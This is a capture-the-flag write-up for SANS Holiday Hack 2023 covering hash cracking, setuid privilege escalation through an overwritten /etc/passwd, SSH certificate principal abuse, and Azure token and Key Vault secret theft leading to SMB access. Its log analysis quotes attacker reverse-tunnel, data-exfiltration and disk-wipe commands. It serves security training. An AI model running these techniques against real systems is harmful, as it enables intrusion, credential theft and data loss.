SANS Holiday Hack 2023 Write-Up
Azure 101
- Get help with
az help | less
- List all resource groups:
az group list
- List all function apps within a resource group:
az functionapp list -g northpole-rg1
- List the only VM in the resource group you have access to:
az vm list -g northpole-rg2
- You don’t have access to any VMs in the other resource group, northpole-rg1
- Invoke a run-command against said VM so you can run RunShellScript and get a directory listing to reveal a file on the Azure VM
az vm run-command invoke -g northpole-rg2 -n NP-VM1 --command-id RunShellScript --scripts "ls"
Hashcat
- But heed this advice to temper your pace,
-w 1 -u 1 --kernel-accel 1 --kernel-loops 1
, just in case. - Speed isn’t the key, use patience. Run the command slow using those flags
- Hints on the hash when you’re stuck: https://hashcat.net/wiki/doku.php?id=example_hashes
- Once you crack it, run
/bin/runtoanswer
- Overall: determine the hash type in hash.txt and perform a wordlist cracking attempt to find which password is correct
Hash seems to be krbasrep
(from the hash.txt, and the objective text). That equates to 18200 as the “type ID”.
With the flags given from the prompt, this is my command:
hashcat hash.txt password_list.txt -m 18200 -w 1 -u 1 --kernel-accel 1 --kernel-loops 1 –force
In .hashcat/hashcat.potfile
:
IluvC4ndyC4nes!
Linux PrivEsc
Hint
- Various methods of privesc: https://payatu.com/blog/a-guide-to-linux-privilege-escalation/
- Using the privileged binary to overwrite a file to escalate privileges could be a solution, but there’s an easier method if you pass it a crafty argument.
Objective
Find a method to escalate privileges inside this terminal and then run the binary in /root
Progress
Since the hints mentioned a potentially vulnerable setuid binary, I used find to enumerate binaries with that permission:
elf@567abb6ead5b:~$ find / -perm -u=s -type f 2>/dev/null /usr/bin/chfn /usr/bin/chsh /usr/bin/mount /usr/bin/newgrp /usr/bin/su /usr/bin/gpasswd /usr/bin/umount /usr/bin/passwd /usr/bin/simplecopy
/usr/bin/simplecopy
jumps out at me, since the other binaries are standard Linux utilities.
It appears that simplecopy
is a simple wrapper for cp
, but it runs as root. With that knowledge, we effectively have write permissions on any file on the system.
I crafted a custom passwd file with the following line at the end of it:
root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash
Using simplecopy we can overrwrite the original passwd file:
elf@567abb6ead5b:~$ /usr/bin/simplecopy mypasswd /etc/passwd
And switch to the new root2 user:
elf@567abb6ead5b:~$ su root2
Password:
root@567abb6ead5b:/home/elf#
From there, you only need to run /root/runmetoanswer
.
Luggage Lock
Hint
Talk notes:
- Position the notches, then use that as a starting combination
- Rotate the number combos left each by 1, you will unlock it within 9 tries (i.e., 6 - 3 - 1, to 5 - 2 - 0, to 4 - 1 - 9)
- To solve the challenge:
- Put little pressure, not too much, not too little on the button/keyhole
- Spun tumblers until you encounter resistance
- Then, push the button all the way to open the luggage
Objective
Get back into the luggage by finding the correct position for all four dials.
Progress
Just opened each lock according to the technique described in the talk.
Na’an
Hint
- The Upper Hand: Shifty said his deck of cards is made with Python. There is a weakness in his game which will let you win.
- Stump the Chump: Try to outsmart Shifty by sending him an error he may not understand.
Objective
Win the game, despite Shifty cheating.
Pick five unique cards numbering from 0-9.
Whoever picks the lowest and highest numbers gets a point for each. If you and shifty both pick the same number that is canceled out.
First one to 10 points wins.
Progress
Notes on Python NaN Injection:
- In python, a variable can be injected with a string called NaN (Not a Number) and when it encounters another variable, it can consume it.
- I.e., the number 1 can be added to a float that contains a NaN, and the output will be NaN. NaN is extremely greedy.
- You can get NaN by simply dividing positive + negative infinity.
- Infinity can be reached through the addition of non-infinite real numbers such as 1e308 + 1e308.
Try this:
8 1 NaN 9 0
Shifty will match all your other numbers, except for NaN. He doesn’t know what that is, so he puts 2 against it. The program treats NaN as higher (or lower?) and you win everytime.
Do that 5 times, and the challenge is won.
KQL Kraken Hunt
Hint
Outbound connections: Do you need to find something that happened via a process? Pay attention to the ProcessEvents table!
KQL Tutorial: Once you get into the Kusto trainer, click the blue Train me for the case button to get familiar with KQL.
Objective
Use Azure Data Explorer to “uncover misdeeds” in Santa’s IT enterprise.
Per the elf: there is a network infection spawned from a clicked phishing link. Before you start, you need to create a free cluster.
Keep your eyes peeled for suspicious activity, IP addresses, and patterns that will help us crack the case.
Progress
https://detective.kusto.io/sans2023
Onboarding
How many Craftperson Elves are working from laptops? 25
Employees
| where role == "Craftsperson Elf"
| where hostname has "laptop"
| count
Case 1
What is the email address of the employee who received this phishing email? alabaster_snowball@santaworkshopgeeseislands.org
OutboundNetworkEvents
| where url == "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"
And
Employees
| where ip_addr == "10.10.0.4"
What is the email address that was used to send this spear phishing email? cwombley@gmail.com
Email
| where recipient == 'alabaster_snowball@santaworkshopgeeseislands.org'
| where link == "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"
What was the subject line used in the spear phishing email? [EXTERNAL] Invoice foir reindeer food past due
Same query as before
Case 2
All done with this query:
Employees
| where ip_addr == "10.10.0.4"
What is the role of our victim in the organization? Head Elf
What is the hostname of the victim’s machine? Y1US-DESKTOP
What is the source IP linked to the victim? 10.10.0.4
Case 3
What time did Alabaster click on the malicious link? Make sure to copy the exact timestamp from the logs! 2023-12-02T10:12:42Z
OutboundNetworkEvents
| where url == "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"
What file is dropped to Alabaster’s machine shortly after he downloads the malicious file? Giftwrap.exe
FileCreationEvents
| where timestamp between (datetime(2023-12-02T10:12:42Z) .. datetime(2023-12-02T15:12:42Z))
| where hostname == "Y1US-DESKTOP"
Case 4
The attacker created a reverse tunnel connection with the compromised machine. What IP was the connection forwarded to? 113.37.9.17
ProcessEvents
| where hostname == "Y1US-DESKTOP"
Found by scrolling through and noticing ligolo
- a reverse tunneling tool.
"ligolo" --bind 0.0.0.0:1251 --forward 127.0.0.1:3389 --to 113.37.9.17:22 --username rednose --password falalalala --no-antispoof
What is the timestamp when the attackers enumerated network shares on the machine? 2023-12-02T16:51:44Z
ProcessEvents
| where hostname == "Y1US-DESKTOP"
| where process_commandline has "share"
Shows one event where the attacker runs net share
.
What was the hostname of the system the attacker moved laterally to? NorthPolefileshare
Same query
Towards the bottom:
2023-12-24T15:14:25Z cmd.exe /C net use \\NorthPolefileshare\c$ /user:admin AdminPass123
At 2023-12-25T10:44:27Z is a suspicious PS encrypted command
Decrypts (b64) to C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$
Case 5
When was the attacker’s first base64 encoded PowerShell command executed on Alabaster’s machine? 2023-12-24T16:07:47Z
ProcessEvents
| where process_commandline has "enc"
| where hostname == "Y1US-DESKTOP"
Note that one earlier command exists than this timestamp, but it is legitimate, not from the attacker.
What was the name of the file the attacker copied from the fileshare? (This might require some additional decoding) NaughtyNiceList.txt
Same query, just had to de-encode B64 and then reverse the text.
The attacker has likely exfiltrated data from the file share. What domain name was the data exfiltrated to? giftbox.com
Event at 2023-12-24T16:58:43Z was B64 encoded, after decrypting:
[StRiNg]::JoIn( '', [ChaR[]](100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120, 32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101))|& ((gv '*MDr*').NamE[3,11,2]-joiN
Ran in an interpreter to find the domain name:
PS /Users/justen.mehl/p1/git/confluence> [StRiNg]::JoIn( '', [ChaR[]](100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120, 32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101))
downwithsanta.exe -exfil C:\\Desktop\\NaughtNiceList.docx \\giftbox.com\file
Case 6
Query for both:
ProcessEvents
| where hostname == "Y1US-DESKTOP"
| where process_commandline has "share"
Decrypts to: C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$
What is the name of the executable the attackers used in the final malicious command? downwithsanta.exe
What was the command line flag used alongside this executable? –wipeall
Final answer (credit for Holiday Hack): Beware the Cube that Wombles
Phish Detection Agency
Hint
DMARC, DKIM, and SPF, oh my!: Discover the essentials of email security with DMARC, DKIM, and SPF at Cloudflare’s guide.
Objective
There is a flood of unusual emails coming from ChatNPT. They are using ChatNPT as a “filter” for phishing attempts, but it may not be working.
Navigate through our virtual vault of emails, employ your knowledge of SPF, DKIM, and DMARC, and identify those deceptive, phishing attempts.
Progress
Resource notes:
- SPF, DKIM, and DMARC help authenticate email senders by verifying that the emails came from the domain they claim to be from.
- Together, they prevent spammers/phishers from sending emails on behalf of a domain they do not own.
- DKIM and SPF can be compared to a doctor’s medical degree displayed on the wall - they help demonstrate legitmacy
- DMARC, however, tells mail servers what to do when DKIM or SPF fail - mark it as spam, deliver it anyway, or drop the email altogether.
- SPF, DKIM, and DMARC records are stored in publicly-available DNS TXT records
Sender Policy Framework (SPF):
- Lists all the IP addresses of the all the servers that are allowed to send emails from the domain
- Mail servers that receive an email from X domain can check it against the SPF record before passing it to the recipient
DomainKeys Identified Mail (DKIM):
- Enables domain owners to automatically, digitally “sign” emails from their domain
- Uses PKI (the DKIM record stores the domain’s public key, and the private key is kept secret by the sender, who signs the email’s header with this key)
- Mail servers receiving the email can verify that the sender’s private key was used by applying the public key
Domain-based Message Authentication Reporting and Conformance (DMARC):
- Tells a receiving email server what to do given the results after checking SPF and DKIM
- Quarantine, reject, or deliver anyways
How to check if an email has passed SPF, DKIM, and DMARC?
- Email clients have a “show details” button that shows the header of the email. That is where the results of SPF/DKIM/DMARC show
- The header is dense, so you can search for “spf”, “dkim” or “dmarc”
- Might look like this:
arc=pass (i=1 spf=pass spfdomain=example.com dkim=pass dkdomain=example.com dmarc=pass fromdomain=example.com);
The word “pass” in the text above indicates the email passed an auth check.
In that example, it passed all the checks (spf=pass, dkim=pass, dmarc=pass
)
Domain in the challenge is geeseislands.com
SPF: v=spf1 a:mail.geeseislands.com -all
DKIM:
v=DKIM1;t=s;p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDjtqsLqwecFGF7AmP+Siln86O1v9NOKJw4ZsEHDV5fo0Vjj0qNPyyARKSkDmnIKjnzLGUUQO31Fr+vdZU61IaI9/ZD39WJKaAeX96uQ65mRQqqPVYxPLN5OvuFRmIHJ/TgOkD6z5/7VM7Zs1kw5Qnl04FmOLwWd00D+uNZnj8TCwIDAQAB
DMARC: v=DMARC1; p=reject; pct=100; rua=mailto:dmarc-reports@geeseislands.com
Basically, go through all emails and flag for phishing emails that A) have a DMARC failure, or B) have conflicting return domains.
Faster Lock Combination
Objective
Break into a padlock.
Progress
Notes on video:
- Step 1: finding the sticky number
- Reset the lock
- Put some tension on the shackle, turn counter-clockwise until you encounter resistance
- Stick number seems like 20
- Step 2: finding the guess numbers
- Adjust tension and roll, resistance will be found between half numbers
- These 2 numbers will lie between 0 and 11
- Guess #1: Between 2.5 and 3.5 == 3
- Guess #2: And between 3.5 and 4.5 == 4
- Step 3: The Math
- Part A: Finding the First Digit
- Note: Why did he pick three here and not zero? Might be an issue here
- 4 + 5 = 9
- Part B: Finding the Third Digit
- 9 / 4 = 2 with remainder of 1
- 3 - 13 (p) - 23 - 33 (p)
- 4 - 14 - 24 - 34
- 13 or 33 are two possibilities
- Find that number on the lock
- Put heavy tension on the shackle
- Try turning it
- If it’s tight, then it’s not it
- If it looser, then that is it
- 13 was looser for sure
- Part C: Finding the Second Digit (8 Possibilities)
- 3 - 11 - 19 - 27 - 35
- 7 - 15 - 23 - 31 - 39
- The second and third digit must be greater than 2 digits away
- Narrowed it down to underlined ^
- Part A: Finding the First Digit
- Step 4: Testing it Out
- 1st Digit: 9
- 2nd Digit: 3, 19, 27, 35, 7, 23, 31, 39
- 3rd Digit: 13
- How to test:
- Right key: directly to the first digit
- Left Key: 1 full turn, passing the first digit, end at second digit
- Right key: directly to the third digit
2nd attempt:
- 3.5 and 4.5 = 4
- 6.5 and 7.5 = 7
- Used this website instead, as recommended by discord: https://samy.pl/master/master.html
- Worked on my second or third “second” digit attempt
Game Cartridges
Hint
Vol 3: Bird’s Eye View: The location of the treasure in Rusty Quay is marked by a shiny spot on the ground. To help with navigating the maze, try zooming out and changing the camera angle.
Vol3: 1) This one is a bit long, it never hurts to save your progress! 2) 8bit systems have much smaller registers than you’re used to. 3) Isn’t this great?!? The coins are OVERFLOWing in their abundance.
Vol 2: 1) This feels the same, but different! 2) If it feels like you are going crazy, you probably are! Or maybe, just maybe, you’ve not yet figured out where the hidden ROM is hiding. 3) I think I may need to get a DIFFerent perspective. 4) I wonder if someone can give me a few pointers to swap.
Objective
Find Gamegosling cartridges and beat the game (x3 times).
Progress
Vol 1
Solved the block puzzle the actual, gamified way.
Vol 2
Need to download both versions of the emulator file locally, so I can do some RE (diffs I think).
It randomly picks rom/game1.gb
or rom/game0.gb
on launch
Game1.gb has the exit facing south
Game0.gb has the exit facing north
No difference from what I can see visually
Boom, downloaded both the roms at https://gamegosling.com/vol2-akHB27gg6pN0/rom/game0.gb and game1.gb. Figured that out by looking at the script.js
source code and the Sources tab in my browser.
So now, I figure I need to make changes to this ROM somehow, and upload it + play at an online emulator: https://taisel.github.io/GameBoy-Online/
My changes should include a way to pass the wizard (or change his dialog to say “you shall pass”).
Diff between the two (only 12 bytes are different):
PS C:\Users\juste\Downloads> fc.exe /b game1.gb game0.gb
Comparing files game1.gb and GAME0.GB
0000014F: 86 B3
00000593: D2 0B
00000594: AC 4B
00000595: 3D 9A
00000596: 2D 23
00016A84: 0B 03
00016AB8: 06 09
00017C80: 01 02
0001850E: 03 02
0001850F: 00 80
00018513: 04 0B
00018514: 00 80
Boom! I used HxD to find where the message “you shall not pass” was, and just patched 00 to the bytes that represented “not”. Was able to walk right through after that.
Took me to a small room with a robot looking thing, named “ChatNPT”: “I love old-timey radio!”
Interacting with the radio plays what seems to be morse code. I recorded the A/V with my gameboy emulator, stripped the video from it, and put it into an online morse code decoder.
The text I got back was TNL0RY G even though the audio quality was perfect in my recording…but I could surmise that this was supposed to be GL0RY
. That is the flag.
Vol 3
Dialog: Marketing wants [5] nines, but it is actually [3] nines.
First goal is to get to 999 coins. Can’t regularly do that, it skips right back to 100 coins after you try to get it.
My tentative plan is this: modify the save state file (game.sav) to make my coins 999, and then have the wizard “restore” from that file.
I can open the sav file in a hex editor. But where do I modify that value? Can’t find my coin hex value anywhere in the file.
Mucking around in cheat Engine, I can see that I’m supposed to get 999 coins and say the phrase “morethanmeetstheye” to ChatNPT. No idea how to get there though. I’m hoping that the sysadmin will have something different to say once I get 999 coins.
Standard GBA emulator + cheat engine seems like a decent path forward (at least ChatGPT says so). But..still can’t find that memory location that contains the “coin” integer. No idea how to proceed, going to table it.
Here are a few experiments in which I was trying to find the memory location that controlled the coin value:
251,252c251,252
----think this has to do with my coordinates somehow actually - I spawned off the side of the screen when I modified these. May help to cross the jump?
< 00000fa0: 0865 4f21 0007 0007 0200 0f00 0700 0202 .eO!............
< 00000fb0: 030f 1002 0000 0001 0102 0203 0304 0506 ................
---
> 00000fa0: 0865 4f21 0006 8006 0100 0f00 0700 0101 .eO!............
> 00000fb0: 020f 1001 0000 0001 0102 0203 0304 0506 ................
2,4c2,4
coins: 111
< 00000010: 0000 0000 0100 0100 0100 0100 0100 0100 ................
< 00000020: 0100 0100 0100 0100 2d00 0100 2d00 0000 ........-...-...
< 00000030: 0100 0100 0100 0100 0100 0100 0100 0100 ................
---
coins: 112
> 00000010: 0000 0000 0200 0200 0100 0100 0200 0200 ................
> 00000020: 0100 0100 0200 0100 b200 0200 2d00 0000 ............-...
> 00000030: 0100 0200 0100 0100 0100 0100 0100 0100 ................
^^^ Coin location seems to be here. I changed it from 113 to 153 by changing random values.
2,4c2,4
coins: 112.hex
< 00000010: 0000 0000 0200 0200 0100 0100 0200 0200 ................
< 00000020: 0100 0100 0200 0100 b200 0200 2d00 0000 ............-...
< 00000030: 0100 0200 0100 0100 0100 0100 0100 0100 ................
coins: 113.hex
---
> 00000010: 0000 0000 0300 0300 0100 0100 0300 0300
> 00000020: 0100 0100 0300 0100 7900 0300 2d00 0000
> 00000030: 0100 0300 0100 0100 0100 0100 0100 0100
^ in above: 7900 -> 85 EA 2d00 -> 0F 33
== 10 coins. Not sure why that is.
Confirmed I am in the right location by my discord contact.
Pretty sure 7700
and fe00
are the key. What do I change them to? No idea. Maybe increment by 1 (in hex)?
Tried fe to ff: changed it to 098 instead of 998.
Tried fe to 0e: changed it to 098 instead of 998.
–This leads me to believe that fe00 control the first digit? So I shouldn’t touch that one, i’m trying to edit the last digit to 999.—
Tried 77 to 78: changed it to 990 instead of 998.
Tried 77 to 76: changed it to 990 instead of 998.
Tried 77 to 87: changed it to 990 instead of 998.
Tried 77 to 66: changed it to 990 instead of 998.
Tried 77 to 99: changed it to 990 instead of 998.
Tried 7700 to 7722: changed it to 990 instead of 998.
I have no idea how it’s being stored/calculated here. Trying to get ChatGPT to figure it out.
No luck really with ChatGPT. Tried to recreate this from scratch (new file), and I modified the bytes to match the above, but I only get 908. So I think i’m missing some bytes.
Changed FE to FC, got 784 instead of 789. <- consistent
Changed FC to FF, got 780. FC == 252, FF == 255
FD should get me 788? Nope it gets me 780.
FE is apparently nine (and not the actual decimal value, which is 254). I already knew the memory locations, I just had to change them all to FE and it was all good. The correct memory locations were the values that stood out, not the ones that represented the actual digits of the number.
Flag is !tom+elf!
Certificate SSHenanigans
Hint
Azure Function App Source Code: The get-source-control Azure REST API endpoint provides details about where an Azure Web App or Function App is deployed from.
Azure VM Access Token: Azure CLI tools aren’t always available, but if you’re on an Azure VM you can always use the Azure REST API instead.
SSH Certificates Talk: Check out Thomas Bouve’s talk and demo to learn all about how you can upgrade your SSH server configuration to leverage SSH certificates.
Objective
Go to Pixel Island and review Alabaster Snowball’s new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?
From dialog: I could use your help with my fancy new Azure server at ssh-server-vm.santaworkshopgeeseislands.org.
ChatNPT suggested I upgrade the host to use SSH certificates, such a great idea!
It even generated ready-to-deploy code for an Azure Function App so elves can request their own certificates. What a timesaver!
If may be insecure though. Can you look at it before I deploy?
Generate yourself a certificate and use the monitor account to access the host. See if you can grab my TODO list.
If you haven’t heard of SSH certificates, Thomas Bouve gave an introductory talk and demo on that topic recently.
Oh, and if you need to peek at the Function App code, there’s a handy Azure REST API endpoint which will give you details about how the Function App is deployed.
Progress
First small goal: generate yourself a certificate and use the monitor
account to access the host.
Grabbed the ssh cert from that web app. How do I use it though? Should check the video.
Made both my keys plus the cert in ~/.ssh
. SSH command is:
ssh monitor@ssh-server-vm.santaworkshopgeeseislands.org
Once logged in there, it’s just a “Satellite Tracking Interface” that tracks the position of a satellite. You can ctrl+c out of it though to get a shell.
Need to get to /home/alabaster probably to see the TODO list. Alabaster is uid 1000.
Discord says to get the source code for the web app and go from there.
Side note: the /etc/ssh directory is very important (as monitor): In ca.pub:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGk2GNMCmJkXPJHHRQH9+TM4CRrsq/7BL0wp+P6rCIWH Elf Certificate Authority
The auth principal we need is admin instead of elf. That corresponds to alabaster.
Intercepting with burp shows that we pass the pub key as JSON. There’s probably another option to pass here, that’s why I need the source code. Reportinator alludes to this too.
We used the OWASP Zed Attack Proxy (ZAP) tool, shown in Image 2, to intercept and modify HTTP requests and observe the application's response. SCS discovered the application will accept a sign-principal parameter in the request body, which is not documented in the Azure Function App documentation. SCS tested the impact of this parameter by changing its value to different usernames, and verifying the signatures of the returned SSH certificates. This vulnerability could be exploited to sign SSH keys for arbitrary users, effectively bypassing authentication controls and allowing unauthorized SSH access
Solved! Didn’t get the website source code. Using the hints and everything, I just intercepted with Burp, set principal: admin
and used that key it returned as alabaster. From there, the markdown file was in his home dir.
SSH command: ssh alabaster@ssh-server-vm.santaworkshopgeeseislands.org
Flag: gingerbread
Active Directory
Hint
Misconfiguration ADventures: Certificates are everywhere. Did you know Active Directory (AD) uses certificates as well? Apparently the service used to manage them can have misconfigurations too.
Useful Tools: It looks like Alabaster’s SSH account has a couple of tools installed which might prove useful. Impacket is installed in their home directory.
Objective
Go to Steampunk Island and help Ribb Bonbowford audit the Azure AD environment. What’s the name of the secret file in the inaccessible folder on the FileShare?
From dialog: Since you have access to Alabaster’s SSH account that means you’re already in the Azure environment. Knowing Alabaster, there might even be some useful tools in place already.
Progress
Seems like I have to pivot from that alabaster SSH session I have to the FileShare using impacket
. How to do that, not sure.
Need to revisit last challenge a bit.
Reference the Hint by sparkle redberry and use the curl
command in that documentation to get an access token.
Did that ^ with:
alabaster@ssh-server-vm:~$ response=$(curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s)
alabaster@ssh-server-vm:~$ access_token=$(echo $response | python -c 'import sys, json; print (json.load(sys.stdin)["access_token"])')
alabaster@ssh-server-vm:~$ echo The managed identities for Azure resources access token is $access_token
Query Azure api endpoints. Some require an access token to get to. that’s my goal for now: enumerate the Azure environment and find some crucial info to pivot to AD.
Subscription ID (from Azure 101): 2b0942f3-9bca-484b-a508-abdae2db5e64
Listing the resource groups:
alabaster@ssh-server-vm:~$ curl -X GET -H "Authorization: Bearer $access_token" -H "Content-Type: application/json" https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourcegroups?api-version=2021-04-01
{"value":[{"id":"/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1","name":"northpole-rg1","type":"Microsoft.Resources/resourceGroups","location":"eastus","tags":{},"properties":{"provisioningState":"Succeeded"}}]}
That tells me I have access to northpole-rg1 (again).
You can list all resources in a resource group:
alabaster@ssh-server-vm:~$ curl -X GET -H "Authorization: Bearer $access_token" -H "Content-Type: application/json" https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourcegroups/northpole-rg1/resources?api-version=2021-04-01
{"value":[{
"id":"/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
"name":"northpole-ssh-certs-kv",
"type":"Microsoft.KeyVault/vaults",
"location":"eastus",
"tags":{}},
{"id":"/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
"name":"northpole-it-kv",
"type":"Microsoft.KeyVault/vaults",
"location":"eastus",
"tags":{}}
]}
Ok, looks like I have access to two different KeyVaults. One called northpole-ssh-certs-kv
and northpole-it-kv
. I probably need something in the latter.
Getting the KeyVault reveals this:
alabaster@ssh-server-vm:~$ curl --no-progress-meter -X GET -H "Authorization: Bearer $access_token" -H "Content-Type: application/json" https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourcegroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv/?api-version=2022-07-01 | jq
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
"name": "northpole-it-kv",
"type": "Microsoft.KeyVault/vaults",
"location": "eastus",
"tags": {},
"systemData": {
"createdBy": "thomas@sanshhc.onmicrosoft.com",
"createdByType": "User",
"createdAt": "2023-10-30T13:17:02.532Z",
"lastModifiedBy": "thomas@sanshhc.onmicrosoft.com",
"lastModifiedByType": "User",
"lastModifiedAt": "2023-10-30T13:17:02.532Z"
},
"properties": {
"sku": {
"family": "A",
"name": "Standard"
},
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"accessPolicies": [],
"enabledForDeployment": false,
"enabledForDiskEncryption": false,
"enabledForTemplateDeployment": false,
"enableSoftDelete": true,
"softDeleteRetentionInDays": 90,
"enableRbacAuthorization": true,
"vaultUri": "https://northpole-it-kv.vault.azure.net/",
"provisioningState": "Succeeded",
"publicNetworkAccess": "Enabled"
}
}
The other vault is a bit more promising:
alabaster@ssh-server-vm:~$ curl --no-progress-meter -X GET -H "Authorization: Bearer $access_token" -H "Content-Type: application/json" https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourcegroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv/?api-version=2022-07-01 | jq
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
"name": "northpole-ssh-certs-kv",
"type": "Microsoft.KeyVault/vaults",
"location": "eastus",
"tags": {},
"systemData": {
"createdBy": "thomas@sanshhc.onmicrosoft.com",
"createdByType": "User",
"createdAt": "2023-11-12T01:47:13.059Z",
"lastModifiedBy": "thomas@sanshhc.onmicrosoft.com",
"lastModifiedByType": "User",
"lastModifiedAt": "2023-11-12T01:50:52.742Z"
},
"properties": {
"sku": {
"family": "A",
"name": "standard"
},
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"accessPolicies": [
{
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"objectId": "0bc7ae9d-292d-4742-8830-68d12469d759",
"permissions": {
"keys": [
"all"
],
"secrets": [
"all"
],
"certificates": [
"all"
],
"storage": [
"all"
]
}
},
{
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"objectId": "1b202351-8c85-46f1-81f8-5528e92eb7ce",
"permissions": {
"secrets": [
"get"
]
}
}
],
"enabledForDeployment": false,
"enableSoftDelete": true,
"softDeleteRetentionInDays": 90,
"vaultUri": "https://northpole-ssh-certs-kv.vault.azure.net/",
"provisioningState": "Succeeded",
"publicNetworkAccess": "Enabled"
}
}
It looks like there are secrets stored here. I’m attempting to list secrets but I’m running into the error I thought I would experience:
alabaster@ssh-server-vm:~$ curl --no-progress-meter -X GET -H "Authorization: Bearer $access_token" -H "Content-Type: application/json" https://northpole-ssh-certs-kv.vault.azure.net/secrets?api-version=7.4 | jq
{
"error": {
"code": "Unauthorized",
"message": "AKV10022: Invalid audience. Expected https://vault.azure.net, found: https://management.azure.com/."
}
}
Looks like I need a new access token, with the scope for vault.azure.net instead of management.azure.com.
Did that, and did the same query using my new token:
alabaster@ssh-server-vm:~$ curl --no-progress-meter -X GET -H "Authorization: Bearer $vault_access_token" -H "Content-Type: application/json" https://northpole-ssh-certs-kv.vault.azure.net/secrets?api-version=7.4 | jq
{
"error": {
"code": "Forbidden",
"message": "The user, group or application 'appid=b84e06d3-aba1-4bcc-9626-2e0d76cba2ce;oid=600a3bc8-7e2c-44e5-8a27-18c3eb963060;iss=https://sts.windows.net/90a38eda-4006-4dd5-924c-6ca55cacc14d/' does not have secrets list permission on key vault 'northpole-ssh-certs-kv;location=eastus'. For help resolving this issue, please see https://go.microsoft.com/fwlink/?linkid=2125287",
"innererror": {
"code": "AccessDenied"
}
}
}
Maybe the identity I’m using in my bearer header doesn’t match up with the object ID that apparently has get/secrets. Decoding hte B64 for my tokens gives me the OIDs:
Access_token: 600a3bc8-7e2c-44e5-8a27-18c3eb963060
Vault_access_token: 600a3bc8-7e2c-44e5-8a27-18c3eb963060
Or I could have just read the error.
I need an OID of 0bc7ae9d-292d-4742-8830-68d12469d759
for all permissions on keys, secrets, certs, and storage.
I need an OID of 1b202351-8c85-46f1-81f8-5528e92eb7ce
for get/secrets permissions.
How do I pivot my OID? Guess I need a new access key again, with those permissions. But the IMDS curl command I used before doesn’t really support any more arguments. Missing something here.
Discord nudge helped me. I don’t have secret/list permissions to that SSH cert keyvault, but I do have that permission to the IT keyvault (the one I was looking at originally…).
alabaster@ssh-server-vm:~$ curl --no-progress-meter -X GET -H "Authorization: Bearer $vault_access_token" -H "Content-Type: application/json" https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript/?api-version=7.4 | jq
{
"value": "Import-Module ActiveDirectory; $UserName = \"elfy\"; $UserDomain = \"northpole.local\"; $UserUPN = \"$UserName@$UserDomain\"; $Password = ConvertTo-SecureString "J4`ufC49/J4766" -AsPlainText -Force; $DCIP = \"10.0.0.53\"; New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname \"\" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru",
"id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript/ec4db66008024699b19df44f5272248d",
"attributes": {
"enabled": true,
"created": 1699564823,
"updated": 1699564823,
"recoveryLevel": "Recoverable+Purgeable",
"recoverableDays": 90
},
"tags": {}
}
Important info from that:
UserName: elfy
UserDomain: northpole.local
Password: J4`ufC49/J4766
DC IP: 10.0.0.53
Can I access the share using those creds? Yes!
alabaster@ssh-server-vm:~$ smbclient.py northpole.local/elfy@10.0.0.53
Impacket v0.11.0 - Copyright 2023 Fortra
Password: <paste it in here, right click>
Type help for list of commands
# use FileShare
# ls
drw-rw-rw- 0 Tue Dec 19 01:15:12 2023 .
drw-rw-rw- 0 Tue Dec 19 01:15:09 2023 ..
-rw-rw-rw- 701028 Tue Dec 19 01:15:11 2023 Cookies.pdf
-rw-rw-rw- 1521650 Tue Dec 19 01:15:12 2023 Cookies_Recipe.pdf
-rw-rw-rw- 54096 Tue Dec 19 01:15:12 2023 SignatureCookies.pdf
drw-rw-rw- 0 Tue Dec 19 01:15:12 2023 super_secret_research
